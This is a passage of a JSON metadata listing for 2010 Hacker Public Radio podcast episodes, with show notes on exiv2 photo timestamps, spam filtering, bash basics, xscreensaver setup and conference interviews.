\n","hostid":121,"series":38,"explicit":1,"license":"CC-BY-NC-SA","tags":"News,CPython,IronPython,PyWeek","version":0,"downloads":1569,"valid":1}, {"id":546,"date":"2010-06-03","title":"Shot of Hack - Changing the time offset of a series of photos","duration":399,"summary":"Ken discusses how to modify image metadata from the command line using exiv2","notes":"The problem: You have a series of photos where the time is offset from the correct time but is still correct in relation to each other.

\n

Here are a few of the times that I have needed to do this: - Changing the battery on my camera switched to a default date. - I wanted to synchronize the time on my camera to a GPS track so the photos matched the timestamped coordinates. - At a family event where images from different cameras were added together.

\n

You can do edit the timestamp using a GUI and many photo manipulation applications like the GIMP support metadata editing. For example on KDE:

\n
gwenview -> plugins -> images -> metadata -> edit EXIF 
\n

The problem is that this gets tiresome after a few images, and anyway the times are correct in relation to each other - I just need to add or subtract a time correction to them en masse.

\n

The answer: exiv2 - Image metadata manipulation tool. It is a program to read and write Exif, IPTC and XMP image metadata and image comments.

\n
user@pc:~$ exiv2 *.jpg\nFile name       : test.jpg\nFile size       : 323818 Bytes\nMIME type       : image/jpeg\nImage size      : 1280 x 960\nCamera make     : FUJIFILM\nCamera model    : MX-1200\nImage timestamp : 2008:12:07 15:12:59\nImage number    :\nExposure time   : 1/64 s\nAperture        : F4.5\nExposure bias   : 0 EV\nFlash           : Fired\nFlash bias      :\nFocal length    : 5.8 mm\nSubject distance:\nISO speed       : 160\nExposure mode   : Auto\nMetering mode   : Multi-segment\nMacro mode      :\nImage quality   :\nExif Resolution : 1280 x 960\nWhite balance   :\nThumbnail       : image/jpeg, 5950 Bytes\nCopyright       :\nExif comment    :
\n

The trick is to pick a image where you can that figure out what the time was and work out the time offset. In my case I needed to adjust the date forward by six months and four days while changing the time back by seven hours. I used the command exiv2 -O 6 -D 4 -a -7 *.jpg

\n
-a time\n    Time adjustment in the format [-]HH[:MM[:SS]].\n    This option is only used with the 'adjust' action. Examples:\n        1 adds one hour,\n        1:01 adds one hour and one minute,\n        -0:00:30 subtracts 30 seconds.\n-Y yrs\n    Time adjustment by a positive or negative number of years, for the 'adjust' action.\n-O mon\n    Time adjustment by a positive or negative number of months, for the 'adjust' action.\n-D day\n    Time adjustment by a positive or negative number of days, for the 'adjust' action.
\n

When we run this we can see that the timestamp has now changed.

\n
user@pc:~$ exiv2 *.jpg | grep timestamp\nImage timestamp : 2009:06:11 08:12:59
\n

That's it. Remember this is the end of the conversation - to give feedback you can either record a show for the HPR network and email it to admin@hackerpublicradio.org or write it on a post-it note and attach it to the windscreen of Dave Yates's car as he's recording his next show.

\n\n\n","hostid":30,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"exiv2,gwenview,Exif,IPTC,XMP","version":0,"downloads":2304,"valid":1}, {"id":547,"date":"2010-06-07","title":"openCSW Interview","duration":1600,"summary":"Klaatu interviews Philip Brown about openCSW the software distribution project for Solaris","notes":"\n

\nKlaatu talks to Philip Brown of the openCSW project about Solaris, SunOS, portability and code, and lots more.\n

\n\n

\nWord up! the anti-talkshoe producers of this episode: Timrit and cobra2\n

\n","hostid":78,"series":78,"explicit":0,"license":"CC-BY-NC-SA","tags":"openCSW,Philip Brown,Solaris,SunOS","version":0,"downloads":1221,"valid":1}, {"id":548,"date":"2010-06-14","title":"How to Prevent Spam","duration":728,"summary":"Xoke talks about spam and how to prevent it.","notes":"

Setup

\n

Sets up a real email address eg real@example.com and another one for spam eg: spam@example.com

\n

Per Company emails

\n

A rule is set so that any messages that is not destined for a real/configured email address goes to spam@example.com.

\n

Give companies unique email addresses on your domain, and set up a rule to redirect that to the real address if the domain that is sending is the same as the prefix.

\n

For example hackerpublicradio.org@example.org coming from admin@hackerpublicradio.org would be sent to real@example.com. While hackerpublicradio.org@example.org coming from spammer@spammer.org would be sent to spam@example.com.

\n

Throwaway emails

\n

someword.x.user@spamgourmet.com where someword is a word you have never used before, x (optional) is the number of email messages you want to receive at this address (up to 20, and the number 3 will be used if you leave it out), and user is your username.

\n\n","hostid":79,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"Spam,spamgourmet,spam rules","version":0,"downloads":1469,"valid":1}, {"id":549,"date":"2010-06-17","title":" Interview with Richard Jones","duration":1093,"summary":"Interview with Richard Jones who organizes the PyWeek game programming challenge","notes":"

First released as Bit of Python on 2010-03-24 PyWeek,Python,Richard Jones

\n

Andrew Kuchling interviews with Richard Jones who organizes the PyWeek game programming challenge. Richard and Andrew discuss how the challenge is run, what sort of games people write, and the libraries that are used.

\n\n","hostid":121,"series":38,"explicit":1,"license":"CC-BY-NC-SA","tags":"PyWeek,Python,Richard Jones","version":0,"downloads":1432,"valid":1}, {"id":550,"date":"2010-06-25","title":"Interview with jledbetter","duration":413,"summary":"Klaatu interviews Jessica Ledbetter, a java developer, during SouthEast LinuxFest 2010","notes":"klaatu interviews jledbetter a java developer","hostid":78,"series":78,"explicit":0,"license":"CC-BY-NC-SA","tags":"interviews,interview,Java,SouthEast LinuxFest,SELF","version":0,"downloads":1166,"valid":1}, {"id":551,"date":"2010-07-01","title":"Interview with Wendy Seltzer","duration":1604,"summary":"Klaatu interviews Wendy Seltzer about software patents during SouthEast LinuxFest 2010","notes":"another interview from klaatu at SELF 2010","hostid":78,"series":78,"explicit":0,"license":"CC-BY-NC-SA","tags":"interviews,interview,SouthEast LinuxFest,SELF,software patent,sofware patents,intellectual property,patent,patents,copy left,GPL","version":0,"downloads":1781,"valid":1}, {"id":552,"date":"2010-07-08","title":"Uber Leet Hacker Force Radio 5","duration":3953,"summary":"sigflup interviews Krue about his flash-cart and then Mat Jones about his web framework","notes":"
\nIn this episode we talk to Krue about his flash-cart and then to Mat Jones about\nhis web-framework and work in D.\n\nLinks include:\n\nBatchPCB:\n\nhttps://batchpcb.com/index.php/Products/24239\nhttps://batchpcb.com/index.php/Products/23319\n\nAtariMax Flash Cart:\n\nhttps://atarimax.com/usbcoleco/documentation/\n\nAll USB specifications can be downloaded from:\n\nhttps://www.usb.org/developers/docs/\n\nKrue's site:\n\nhttps://krue.net/\n\nMat's site:\n\nhttps://workhorsy.org\n
\n\n","hostid":115,"series":87,"explicit":1,"license":"CC-BY-NC-SA","tags":"podcast,Fourth of July,Turing complete,cabbage flash,Colecovision,D programming language,complexity,web framework,demoscene","version":0,"downloads":1678,"valid":1}, {"id":553,"date":"2010-07-10","title":"interview with celesteLynPaul","duration":1458,"summary":"klaatu interviews Celeste Lyn Paul of the KDE project during SouthEast LinuxFest 2010","notes":"klaatu interviews celesteLynPaul of the KDE project","hostid":78,"series":78,"explicit":0,"license":"CC-BY-NC-SA","tags":"interview,interviews,KDE,KDE Everywhere,QT,usability,SouthEast LinuxFest","version":0,"downloads":2977,"valid":1}, {"id":554,"date":"2010-07-13","title":"Wireless","duration":510,"summary":"Xoke describes setting up a guest wireless network on an older Linksys router for his home","notes":"Xoke talks about wireless access points in his home","hostid":79,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"Wifi,Wireless,WAP","version":0,"downloads":1336,"valid":1}, {"id":555,"date":"2010-07-13","title":"Hack Radio Live 1","duration":1694,"summary":"This is the 1st episode of the Hack Radio Live podcast--hosted by Drake and Enigma","notes":"For complete show notes please visit hackradiolive.org
\nIn this pilot, Drake and Enigma discuss WiiRD.","hostid":58,"series":118,"explicit":1,"license":"CC-BY-NC-SA","tags":"Hack Radio Live,Nintendo Wii,Nintendo,Wii,USB Gecko,WiiRD,Opticom,MythTV,Mythbuntu,AppleTV,home theatre,microphone,Heil PR20,IronKey","version":0,"downloads":1410,"valid":1}, {"id":556,"date":"2010-07-18","title":"Basekamp Interview","duration":2296,"summary":"Klaatu interviews Meg and Scott from Basekamp during FOSSCON","notes":"Klaatu talks to Meg and Scott from Basekamp.com about possible art worlds, free culture, free software, economics, social organization, collaboration, and a lot more.
\n
\nFind the ogg version courtesy your friends at the bad applez.\n","hostid":78,"series":78,"explicit":0,"license":"CC-BY-NC-SA","tags":"interview,interviews,Basekamp,art,art collective,artists,art worlds,free culture,open culture,open source,open source culture","version":0,"downloads":1407,"valid":1}, {"id":557,"date":"2010-07-20","title":"Hack Radio Live 2","duration":2724,"summary":"This is the 2nd episode of the Hack Radio Live podcast--hosted by Drake and Enigma","notes":"For complete show notes please visit hackradiolive.org
\nStory time with Drake and Enigma","hostid":58,"series":118,"explicit":1,"license":"CC-BY-NC-SA","tags":"Hack Radio Live,Oracle World,JavaOne,SQL Server Reporting Services,SSRS,RFID,card reader,RDP,LCD screen,hacking,PCL,network printer,candy corn","version":0,"downloads":2396,"valid":1}, {"id":558,"date":"2010-07-21","title":"xscreensaver","duration":379,"summary":"Ken Fallon describes how to install xscreensaver on a KDE 4 desktop","notes":"Shownotes: https://www.kenfallon.com
\nxscreensaver howto: https://www.jwz.org/xscreensaver/man1.html#9
\n
\nCommands:
\nvi .kde/Autostart/xscreensaver.desktop
\nsudo cp /usr/lib/kde4/libexec/kscreenlocker \nsudo vi /usr/lib/kde4/libexec/kscreenlocker
\nsudo chmod +x /usr/lib/kde4/libexec/kscreenlocker
\nsudo apt-get install xscreensaver xli xloadimage xfishtank qcam streamer
\n","hostid":30,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"KDE,KDE 4,screen saver,xscreensaver,how to","version":0,"downloads":1392,"valid":1}, {"id":559,"date":"2010-07-28","title":"Hack Radio Live 3","duration":2833,"summary":"This is the 3rd episode of the Hack Radio Live podcast--hosted by Drake and Enigma","notes":"For complete show notes please visit hackradiolive.org
\nEnigma discusses basic security concepts","hostid":58,"series":118,"explicit":1,"license":"CC-BY-NC-SA","tags":"security,CIA triad,social engineering,confidentiality,integrity,availability,PKI,PGP,CISSP,authentication,biometrics","version":0,"downloads":2221,"valid":1}, {"id":560,"date":"2010-08-02","title":"Old soldiers","duration":1437,"summary":"A discussion of \"podfading\" - the fading away of once-active podcasts","notes":"Podcasting, Podfading, and Ordinary Voices Saying Extraordinary Things\n

\nMusic in this episode:\n
\n\"Test Drive\" by Zapac\n
\nAvailable at ccmixter.org\n

\nScript for this episode available on my gopherspace:\n
\ngopher://gopher.info-underground.net/1/lostnbronx/\n","hostid":107,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"Podcasting,Podfading","version":0,"downloads":1518,"valid":1}, {"id":561,"date":"2010-08-04","title":"Hack Radio Live 4","duration":2064,"summary":"Hacker Radio Live discusses vulnerabilities in WEP (Wired equivalent privacy) encryption","notes":"For complete show notes please visit hackradiolive.org
\nDrake discusses the WEP and WEP based cracking.","hostid":58,"series":118,"explicit":1,"license":"CC-BY-NC-SA","tags":"encryption,WEP,Wired equivalent privacy,stream cipher","version":0,"downloads":2561,"valid":1}, {"id":562,"date":"2010-08-11","title":"Introduction to bash scripting","duration":1232,"summary":"Introduction to bash scripting, with quick explanations of many adjacent concepts","notes":"

\nhttps://en.wikipedia.org/wiki/Bourne_shell\nhttps://en.wikipedia.org/wiki/Command-line_interface\n\nA list of \"Hello World\" programs in many different computer languages: \nhttps://www.roesler-ac.de/wolfram/hello.htm \n\nFor Windows:\nEditor: https://notepad-plus-plus.org/\nBash (and more): https://x.cygwin.com/ \n(run setup, and selecting the 'xinit' package from the 'X11' category.)\n\n$ echo '#!/bin/bash' > hello.bash\n$ echo \"echo hello world\" >> hello.bash\n\n$ cat hello.bash \n#!/bin/bash\necho hello world\n\n$ chmod +x hello.bash\n\n$ ./hello.bash\nhello world\n\nfeedback-(a)-kenfallon.com\nMore information https://www.kenfallon.com\n
","hostid":30,"series":42,"explicit":1,"license":"CC-BY-NC-SA","tags":"bash,\"bash basics\",\"bash scripting\"","version":0,"downloads":1447,"valid":1}, {"id":563,"date":"2010-08-12","title":"Hack Radio Live 5","duration":2203,"summary":"HRL discuss software support, Oracle, consulting & IT work, OpenOffice.org, and mops","notes":"For complete show notes please visit hackradiolive.org
\nNo set topic for this show Enigma and Drake talk about whatever is on their minds.","hostid":58,"series":118,"explicit":1,"license":"CC-BY-NC-SA","tags":"consulting,jailbreaking,oracle,sql","version":0,"downloads":5485,"valid":1}, {"id":564,"date":"2010-08-14","title":"robomofo","duration":2778,"summary":"An innovative mobile computing platform, the \"Robocop mobile computing fortissimo\", aka robomofo","notes":"

\n

\nShownotes at https://mmmccormick.com/hardware/robomofo/robomofo.html \n

\nEditor's Note 2021-08-02: the link to the notes is no longer active; replaced by a Wayback Machine snapshot for 2016\n

\n","hostid":69,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"mobile computing,tablet,video glasses,Vuzix,Pandora,mini-ITX","version":0,"downloads":1404,"valid":1}, {"id":565,"date":"2010-08-21","title":"Hack Radio Live 6","duration":1740,"summary":"Hacker Radio Live discusses and demonstrates radio scanners","notes":"

\nFor complete show notes please visit hackradiolive.org
\nScanners, Scanners and more Scanners with Drake and Enigma\n

\n\n

\nEditor's Note 2021-08-12: The https://hackradiolive.org\nsite is still available and a copy is also to be found on the Wayback\nMachine. Unfortunately the site does not appear to have notes for this\nepisode.\n

\n","hostid":58,"series":118,"explicit":1,"license":"CC-BY-NC-SA","tags":"scanner,radio","version":0,"downloads":2711,"valid":1}, {"id":566,"date":"2010-08-21","title":"Shotgun","duration":463,"summary":"An experimental scheme to micro-manage personal free time","notes":"SHOTGUN\n
\nHyper-Scheduling For Maximum Effect\n

\nfollow the progress of this likely-ineffective experiment\n
\ngopher://gopher.info-underground.net/1/lostnbronx/lostnblog\n","hostid":107,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"time management,productivity,gopher,phlog","version":0,"downloads":1539,"valid":1}, {"id":567,"date":"2010-09-02","title":"Miscellaneous Radio Theater 4096 2,","duration":2556,"summary":"Visiting the University of Minnesota Supercomputing Institute","notes":"\nJoin SigFLUP, Cyrpto, Zack and friends in a tour of the U of M Supercomputer \nCenter! Pictures of the event can be found here: https://hobones.dogsoft.net/sup\n\n","hostid":115,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"Minnesota,supercomputer,HPC,Cray,Beowulf Cluster,PVM","version":0,"downloads":1667,"valid":1}, {"id":568,"date":"2010-09-08","title":"Hack Radio Live 7","duration":2574,"summary":"Hacker Radio Live discusses MythTV and how Mr. E. Nigma uses it at home","notes":"Enigma and drake talk about Mythtv","hostid":58,"series":118,"explicit":1,"license":"CC-BY-NC-SA","tags":"MythTV,MythBuntu,capture card,Linux MCE,XBMC","version":0,"downloads":1641,"valid":1}, {"id":569,"date":"2010-09-11","title":"Win7","duration":1810,"summary":"Installing Windows 7 Ultimate under Virtual Box","notes":"Xoke talks about installing Win7 ultimate edition in VMware","hostid":79,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"Windows,Install,Virtual","version":0,"downloads":2171,"valid":1}, {"id":570,"date":"2010-09-11","title":"New google privacy policy","duration":731,"summary":"The upcoming Google Privacy Policy is read by espeak","notes":"googles new privacy policy","hostid":30,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"policy,privacy,Google","version":0,"downloads":2488,"valid":1}, {"id":571,"date":"2010-09-15","title":"Hack Radio Live 9","duration":3078,"summary":"HRL explore the technology and physics behind electromagnetic radiation","notes":"For complete show notes please visit hackradiolive.org
\nDIY radar","hostid":58,"series":118,"explicit":1,"license":"CC-BY-NC-SA","tags":"diy,radar","version":0,"downloads":1963,"valid":1}, {"id":572,"date":"2010-09-21","title":"Interview with Mark Terranova from Zareason","duration":1231,"summary":"In this episode Klaatu talks to Mark Terranova from Zareason at SELF 2010","notes":"

In this episode, recorded at SELF 2010, Klaatu talks to Mark Terranova from Zareason. Mark is the Community Manager at Zareason.

\n\n

Wanna hear this episode in ogg? Sure ya do!

\n","hostid":78,"series":78,"explicit":0,"license":"CC-BY-NC-SA","tags":"Zareason,Linux computer,SELF 2010","version":0,"downloads":1814,"valid":1}, {"id":573,"date":"2010-09-24","title":"Linux in a Ham Shack","duration":4655,"summary":"Episode 39 of \"Linux In The Ham Shack\" syndicated on HPR","notes":"
\n

In this Syndicated Thursday episode we hear from Russ, then known as K5TUX, but now as HPR host KFive,\nwho is the host of the Linux In The Ham Shack podcast: https://lhspodcast.info/. He is joined by ClaudioM,\nwho also known to HPR as Claudio Miranda.

\n

This is episode 39: LHS Episode #039: Best. Episode. Ever.

\nThere are show notes here: https://lhspodcast.info/2010/05/show-notes-069/\n","hostid":127,"series":54,"explicit":1,"license":"CC-BY-NC-SA","tags":"Ubuntu 10.04,Crunchbang,morse code,SELF 2010","version":0,"downloads":2554,"valid":1}, {"id":574,"date":"2010-10-06","title":"Interview with Maco","duration":1815,"summary":"Maco and her new Sign Language Tutor application","notes":"Klaatu interviews Maco about her new Sign Language Tutor\napplication, Gally, as well as why Qt and KDE are better than all the\nrest, plus Ubuntu Women and women in computing, Linux and\nsecurity, and some other stuff. \n\nListen to this episode in ogg vorbis courtesy the Bad Applez.","hostid":78,"series":78,"explicit":0,"license":"CC-BY-NC-SA","tags":"Qt,KDE,Ubuntu Women","version":0,"downloads":3090,"valid":1}, {"id":575,"date":"2010-10-15","title":"Free and open source software on windows","duration":1234,"summary":"A recording of a presentation by Robert McWilliam from Software Freedom Day Event 2009","notes":"A presentation from Software Freedom Day Event 2009 organised by the UAD Linux Society, Hannah Maclure Centre, and the Tayside Linux Users Group. This talk is by Robert McWilliam and is about using Free and Open Source Software for Windows.","hostid":85,"series":36,"explicit":1,"license":"CC-BY-NC-SA","tags":"FOSS,Windows","version":0,"downloads":2635,"valid":1}, {"id":576,"date":"2010-10-18","title":"Interview with HeathenX","duration":828,"summary":"HeathenX from the screencasters speaks about art on Linux","notes":"

Klaatu, at the Ohio Linux Fest 2009, interviews HeathenX from the screencasters about art on Linux, Inkscape, GIMP, multi-platform applications, and more.

\n

The ogg version provided by The Bad Apples.

","hostid":78,"series":78,"explicit":0,"license":"CC-BY-NC-SA","tags":"OLF 2009,interview","version":0,"downloads":2534,"valid":1}, {"id":577,"date":"2010-10-19","title":"Episode 11.Bit-of-Python-2010-04-07","duration":696,"summary":"An interview recorded at PyCon 2010, Atlanta, with Antoine Pitrou","notes":"

\nA Little Bit of Python is an occasional podcast on all things Python. The four protagonists on the show are all core Python developers and members of the Python Software Foundation. They are:\n

\n\n\n\n

Episode 11.Bit-of-Python-2010-04-07

\n

Interview with Antoine Pitrou

\n

An interview recorded at PyCon 2010, Atlanta, with Antoine Pitrou. Antoine Pitrou is the core CPython developer responsible for creating the \"new-GIL\".

\n","hostid":121,"series":38,"explicit":1,"license":"CC-BY-NC-SA","tags":"Python,twisted,wxWidgets,CPython,Global interpreter lock,GIL","version":0,"downloads":2477,"valid":1}, {"id":578,"date":"2010-10-20","title":"Open Source Security Concepts","duration":1442,"summary":"A recording of a presentation by Nick Walker from Software Freedom Day Event 2009","notes":"A presentation from Software Freedom Day Event 2009 organised by the UAD Linux Society, Hannah Maclure Centre, and the Tayside Linux Users Group. This talk is by Nick Walker and is about Open Source Security Concepts.\n\n","hostid":85,"series":36,"explicit":1,"license":"CC-BY-NC-SA","tags":"open source security","version":0,"downloads":2545,"valid":1}, {"id":579,"date":"2010-10-21","title":"Interview with Jeff and Loafy, two SELF volunteers","duration":804,"summary":"Jeff, a student, sponsor of SELF and volunteer and Loafy, a volunteer, first time at SELF","notes":"Klaatu talks to Jeff and Loafy, two volunteers at SELF 2010. For the ogg version, click riiiight here.","hostid":78,"series":78,"explicit":0,"license":"CC-BY-NC-SA","tags":"SELF 2010,volunteer,interview","version":0,"downloads":2302,"valid":1}, {"id":580,"date":"2010-10-22","title":"Hacker Public Radio Panel at Ohio Linux Fest 2010","duration":3041,"summary":"Several well-known HPR contributors are recorded in discussion","notes":"Listen!! to the Hacker Public Radio panel at the Ohio Linux Fest held in September 2010. Panelists include Klaatu, Dave Yates, SigFLUP, Lord Drachenblut and Dann Washko.","hostid":115,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"recording methods,HPR history,audio editing,mono,encoding","version":0,"downloads":2662,"valid":1}, {"id":581,"date":"2010-10-25","title":"Open Source Games and the community","duration":1682,"summary":"A talk by Phillip Geyer at Software Freedom Day Dundee 2009 about Open Source Games","notes":"A presentation from Software Freedom Day Event 2009 organised by the UAD Linux Society, Hannah Maclure Centre, and the Tayside Linux Users Group. This talk is by Phillip Geyer and is about Open Source Games and the community.","hostid":85,"series":36,"explicit":1,"license":"CC-BY-NC-SA","tags":"Dundee,gaming,game development,game engine,game development community","version":0,"downloads":2390,"valid":1}, {"id":582,"date":"2010-10-26","title":"Talk Geek To Me #23:Interview:Ken Fallon","duration":762,"summary":"deepgeek interviews Ken Fallon about the future of HPR","notes":"

\nIn this brief interview, Ken Fallon talks to me about reviving the podfaded Hacker Public Radio (hpr), and using the right tools for the right job when it comes to building something on the interwebs.\n

\n","hostid":73,"series":34,"explicit":1,"license":"CC-BY-NC-SA","tags":"podcast,community,Today with a Techie,podfade","version":0,"downloads":2513,"valid":1}, {"id":583,"date":"2010-10-27","title":"An interview with Alan Hicks","duration":974,"summary":"Alan Hicks at SouthEast LinuxFest 2010, the second annual festival","notes":"Klaatu interviews Alan Hicks of Slackbook and the Slackware team about SELF 2010, Slackware 13.1, encryption, and the wifis \nListen to the ogg vorbis version of this episode courtesy of teh Bad Applez.","hostid":78,"series":78,"explicit":0,"license":"CC-BY-NC-SA","tags":"SELF 2010,interview,Slackware,Slackbook","version":0,"downloads":2249,"valid":1}, {"id":584,"date":"2010-10-28","title":"A Little Bit of Python: 12 Global Interpreter Lock; Concurrency","duration":2265,"summary":"Exploring a scheduler being introduced in python, and its effect on threading performance","notes":"A Little Bit of Python is an occasional podcast on all things Python. The four protagonists on the show are all core Python developers and members of the Python Software Foundation. They are: Michael Foord (author of IronPython in Action and maintainer of unittest), Andrew Kuchling (creator of PyCrypto and one of the python.org webmasters), Steve Holden (PSF chairman), Dr. Brett Cannon (author of importlib amongst other things) and Jesse Noller (maintainer of multiprocessing).\n\nWe discuss the significance of the Global Interpreter Lock (or GIL) and recent work at improving it, PEP 3148 proposing futures as a new asynchronous execution method, some recent IronPython work, and a new Python podcast.\n\n","hostid":121,"series":38,"explicit":1,"license":"CC-BY-NC-SA","tags":"\"little bit of python\",programming,python","version":0,"downloads":2442,"valid":1}, {"id":585,"date":"2010-10-29","title":"QSK1: Devil in the Details","duration":1435,"summary":"The first QSK Netcast, a brief introduction, and information about devilspie","notes":"This is the very first episode of the QSK Netcast. I want to thank everyone who supports podcasting, netcasting, Internet broadcasting or whatever you want to call it. I also want to thank all those who believe in Open Source, who strive to mentor with every breath and who believe the world is a better place with more knowledge in it. Please have a listen to my latest effort and send me feedback using the contact form or by leaving comments on the Web site. You can also call the show at 417-200-4811 and press the option for QSK Netcast. I really want to hear from you: Your likes, your dislikes, your requests, your questions--whatever. Just remember, it can only get better from here.","hostid":127,"series":43,"explicit":1,"license":"CC-BY-NC-SA","tags":"devilspie,\"window manager\"","version":0,"downloads":2621,"valid":1}, {"id":586,"date":"2010-11-01","title":"Miscellaneous Radio Theater 4096- The Internet is For Porn","duration":974,"summary":"SigFLUP offers a much needed criticism of the popular internet meme, The Internet is For Porn","notes":"
\n

Counter Point

\n

This show is a counter point to: hpr0069 :: There's Pr0n on them there internets!\n

\n
\n

\nIn this episode of Miscellaneous Radio Theater 4096 SigFLUP offers a much needed criticism of the popular internet meme, The Internet is For Porn

\n","hostid":115,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"pornography,porn","version":0,"downloads":2619,"valid":1}, {"id":587,"date":"2010-11-02","title":"HPR Community News","duration":1577,"summary":"HPR Community News","notes":"In this show we look behind the scenes at HPR. Giving details of what has changed over the last month.","hostid":159,"series":47,"explicit":1,"license":"CC-BY-NC-SA","tags":"Community News","version":0,"downloads":2565,"valid":1}, {"id":588,"date":"2010-11-03","title":"Klaatu interviews Brian Smith from dns.com","duration":565,"summary":"Brian Smith at SouthEast LinuxFest 2010, the second annual festival","notes":"

\nKlaatu interviews Brian Smith from dns.com. Listen to the ogg vorbis version of this interview courtesy your friends at the Bad Apples GNU Linux Oggcast.\n

\n","hostid":78,"series":78,"explicit":0,"license":"CC-BY-NC-SA","tags":"SELF 2010,interview,DNS,dns.com,cache poisoning","version":0,"downloads":2292,"valid":1}, {"id":589,"date":"2010-11-04","title":"DownThemAll SongFight and a Song","duration":1060,"summary":"DownThemAll, a firefox extension for downloading files from a web page","notes":"

DownThemAll can be found at https://www.downthemall.net/ or search for DownThemAll in FireFox under Tools > Add-ons > Get Add-ons

\n

The Main website for Song Fight is https://songfight.org/

\n

Song Fight's official stance on Copyright may be found at https://songfight.org/faq.html#copyright

\n

The direct link to today's song is https://www.songfight.org/music/the_proposal/bradsucks_tp.mp3

\n

Brad Sucks is \"a one man band with no fans.\" To hear more of Brad's excellent music, please visit https://www.bradsucks.net/

\n

Thank you for listening to my very first attempt at Hacker Public Radio. I hope to do more in the future.

\n\n

pokey
\nP.S. Some people enjoy finding mistakes. For their enjoyment, I have included a few.

\n","hostid":128,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"extensions,firefox,music","version":0,"downloads":2607,"valid":1}, {"id":590,"date":"2010-11-05","title":"QSK Episode 2: MP3 v. OGG","duration":2443,"summary":"KFive and Klaatu discuss the differences between MP3 and Ogg Vorbis audio formats","notes":"Thanks to Klaatu for coming on board tonight to talk about the debate over software patents and the MP3 format vs. Open Source audio codecs like OGG. The audio leaves a little bit to be desired but everything is understandable. Please tell everyone about the netcast. Thanks for listening and hope to have you back for Episode 3.","hostid":127,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"audio,mp3,ogg,\"ogg vorbis\",\"software patents\"","version":0,"downloads":2534,"valid":1}, {"id":591,"date":"2010-11-08","title":"sdf and openvms deathrow","duration":955,"summary":"JWP introduces the many features of SDF.org and Deathrow VMS, an OpenVMS cluster","notes":"first I wanted to share my contact information.
\n \nand my rss feed to my show https://jwplinux.libsyn.com/rss
\n \nI wanted to talk about two places that really helped me in learning about the command line. Both do not run linux one runs net bsd and the other runs open vms. Both are so geeky you need to beat it away with a stick.
\n \nI use really often and have learned so much from the use of sdf public access unix system. It was first done up in 1987 and I really like it. I saw it once in Seatle it is great thing to view. If you liked the old compuserve you are going to love this place. Its free but if you donate I think 10 bucks you get a lot more out of it.
\n \nThe second place is death row vms I did a pod cast with bev a while back and its agreat place to do unix. its based on open vms which if you can not love it you must hate cute kittens to. Bev has a lot compilers there which can save you so bucks.
\n \nFree raid storage at both places.
\n \nfree email at both places
\n \nfree IRC at both places#
\n \nA lot that geeks like at both places
\n\nhttps://www.sdf.org/
\n\nhttps://deathrow.vistech.net/
","hostid":129,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"openvms,sdf","version":0,"downloads":2605,"valid":1}, {"id":592,"date":"2010-11-09","title":"FOSScon: An interview with CrissiD and Charles","duration":716,"summary":"Interviews with CrissiD and Charles, two organizers of FOSScon 2010","notes":"Klaatu interviews CrissiD and Charles, two organizers of FOSScon 2010. Listen to the ogg vorbis version of this interview courtesy your friends at the Bad Apples GNU Linux Oggcast.\n\n
\nhttps://www.fosscon.org\nhttps://www.thebadapples.info/audiophile/hpr_fosscon2010.ogg\nhttps://www.thebadapples.info\n
","hostid":78,"series":78,"explicit":0,"license":"CC-BY-NC-SA","tags":"FOSScon","version":0,"downloads":2368,"valid":1}, {"id":593,"date":"2010-11-10","title":"My Linux Experience","duration":817,"summary":"A show from a new host about using Linux at home and at work","notes":"What got me into linux. Running linux at home and stuff I use. Some linux at work. Other linux experiences. mayesja (at) gmail.com","hostid":130,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"Unix,Mandrake,Ubuntu,Mint,GIMP,OpenOffice","version":0,"downloads":2625,"valid":1}, {"id":594,"date":"2010-11-11","title":"Using FFMPEG To Convert Video Shot With An Android Phone","duration":2140,"summary":"Converting a 3GP video to a more compatible file format with ffmpeg","notes":"This episode comes with detailed shownotes which can be found on the hpr site https://hackerpublicradio.org/shownotes/hpr0594.html","hostid":131,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"android,codec,ffmpeg,\"file formats\"","version":0,"downloads":2669,"valid":1}, {"id":595,"date":"2010-11-12","title":"Read 'n Code - 1 Seneca and Python","duration":1216,"summary":"The first episode of the Read 'n Code series from a new host","notes":"This is the first episode of the Read 'n Code podcast, the only podcast about literature and computer programming. In this episode we will take a look at Letters from a Stoic by Seneca and the Zen of Python by Tim Peters.\n","hostid":132,"series":44,"explicit":1,"license":"CC-BY-NC-SA","tags":"Seneca,Stoicism,Python,Zen","version":0,"downloads":2919,"valid":1}, {"id":596,"date":"2010-11-15","title":"The Importance of Community","duration":437,"summary":"An explanation of why community is important, especially for the hacker community","notes":"Speaking on the importance of the community in hacker culture, and how the community has affected my life.\n\nYou can find sp0rus at his blog https://www.squaringcircles.blogspot.com and on IRC.","hostid":133,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"community","version":0,"downloads":2494,"valid":1}, {"id":597,"date":"2010-11-16","title":"QSK Episode 3: Old and in the Way","duration":2675,"summary":"A syndicated episode of the QSK Netcast discussing handicapped parking laws","notes":"QSK: Episode 3 of QSK is a rantcast. Cheryl, my significant other, and I ruminate on the state of motor vehicle licensing in the world, how ridiculous the situation has gotten and what we're planning on doing about it. This one is a fun ride, so sit back and enjoy the total lack of political correctness. We did.","hostid":127,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"accessibility,wheelchairs","version":0,"downloads":2590,"valid":1}, {"id":598,"date":"2010-11-17","title":"Bash Scripting: Episode 2 Command Line Basics","duration":2313,"summary":"Introduction to the man, info, and appropos commands, among other basics","notes":"In the second installment Ken resolves to not do any work and so get's permission from Chess Griffin to reuse extracts from Linux Reality Episode 14 - Command Line Basics May 17, 2006\nhttps://www.linuxreality.com/archives.php#14\n\nShownotes can be found at 